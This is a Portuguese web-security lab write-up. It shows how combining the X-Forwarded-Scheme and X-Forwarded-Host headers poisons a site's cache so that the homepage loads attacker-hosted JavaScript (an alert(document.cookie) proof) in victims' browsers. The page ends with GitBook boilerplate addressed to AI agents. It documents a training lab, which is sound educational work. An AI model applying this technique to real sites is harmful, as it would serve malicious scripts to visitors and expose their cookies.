> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/cache-poisoning-with-multiple-headers.md).

# Cache poisoning com múltiplos cabeçalhos

### Envenenamento de cache da web com múltiplos cabeçalhos

Este laboratório apresenta uma vulnerabilidade para envenenar o cache da web explorável apenas combinando vários cabeçalhos HTTP. / Um usuário visita a página inicial aproximadamente uma vez por minuto. / O objetivo é envenenar o cache para que a resposta no navegador da vítima acione `alert(document.cookie)`.

**Análise inicial**

* Interceptação da requisição para a raiz do site (`/`).
* A resposta parece estar em cache e ser reutilizada para os visitantes seguintes.

<figure><img src="/files/e638ac00eb39cedca3e98362a68d73ccc38e473d" alt=""><figcaption></figcaption></figure>

**Cabeçalhos exploráveis descobertos**

* Uso da extensão **Param Miner** para adivinhar cabeçalhos não indexados.

<figure><img src="/files/136d3d0a7903155d400bbe05d83a93bf9b82810f" alt=""><figcaption></figcaption></figure>

* A ferramenta detecta o cabeçalho **`X-Forwarded-Scheme`**.

<figure><img src="/files/c9765c810c965134e70e3f0c664406693176d41b" alt=""><figcaption></figcaption></figure>

**`X-Forwarded-Scheme` Testar**

* Este cabeçalho indica se a requisição é tratada como vinda de HTTP ou HTTPS.
* Enviando:

```http
X-Forwarded-Scheme: http
```

* O site tenta se comportar como se estivesse sendo servido em HTTP.

<figure><img src="/files/0d5ca8b60af530ef117e947aec33c3d887bb76cd" alt=""><figcaption></figcaption></figure>

Isso causa mau funcionamento e os recursos deixam de ser carregados corretamente devido a redirecionamentos incorretos.

<figure><img src="/files/bd37169782c843fd778b669c1787962f4b5347f3" alt=""><figcaption></figcaption></figure>

**Adicione um segundo cabeçalho: `X-Forwarded-Host`**

```http
X-Forwarded-Host: test.com
```

* Então o site tenta carregar seus recursos dessa área.

<figure><img src="/files/e8f532b737d571c44a6bd1969d5b62b544086fa5" alt=""><figcaption></figcaption></figure>

O carregamento do arquivo JavaScript inclui:

Este script é executado automaticamente ao carregar a página.

<figure><img src="/files/777a1775cf647ed5f3ca7d59e67677ea71c4f83a" alt=""><figcaption></figcaption></figure>

**Operação com servidor de exploração**

* O objetivo é forçar o carregamento do arquivo JavaScript a partir do servidor de exploração.

```http
X-Forwarded-Scheme: http
X-Forwarded-Host: exploit-0a3a002204e750ae80a9206c011700a8.exploit-server.net/exploit
```

No servidor de exploração:

* Crie um arquivo acessível pela URL:

Conteúdo do arquivo:

```javascript
alert(document.cookie)
```

<figure><img src="/files/e4c84810484c8ce1e42e8e93077ddca7b46eb725" alt=""><figcaption></figcaption></figure>

**Resultado**

* A página inicial agora carrega o script JavaScript do servidor de exploração.

<figure><img src="/files/587b90af157bdeceabefa66d76650efac8fc8c67" alt=""><figcaption></figcaption></figure>

* A resposta envenenada fica oculta.
* Quando um usuário visita a página, o script é executado automaticamente.
* Um alerta exibindo `document.cookie` aparece no navegador da vítima.

<figure><img src="/files/51d1d41664c54d7d93fcf51c7ea54aa35f108e32" alt="" width="427"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/cache-poisoning-with-multiple-headers.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
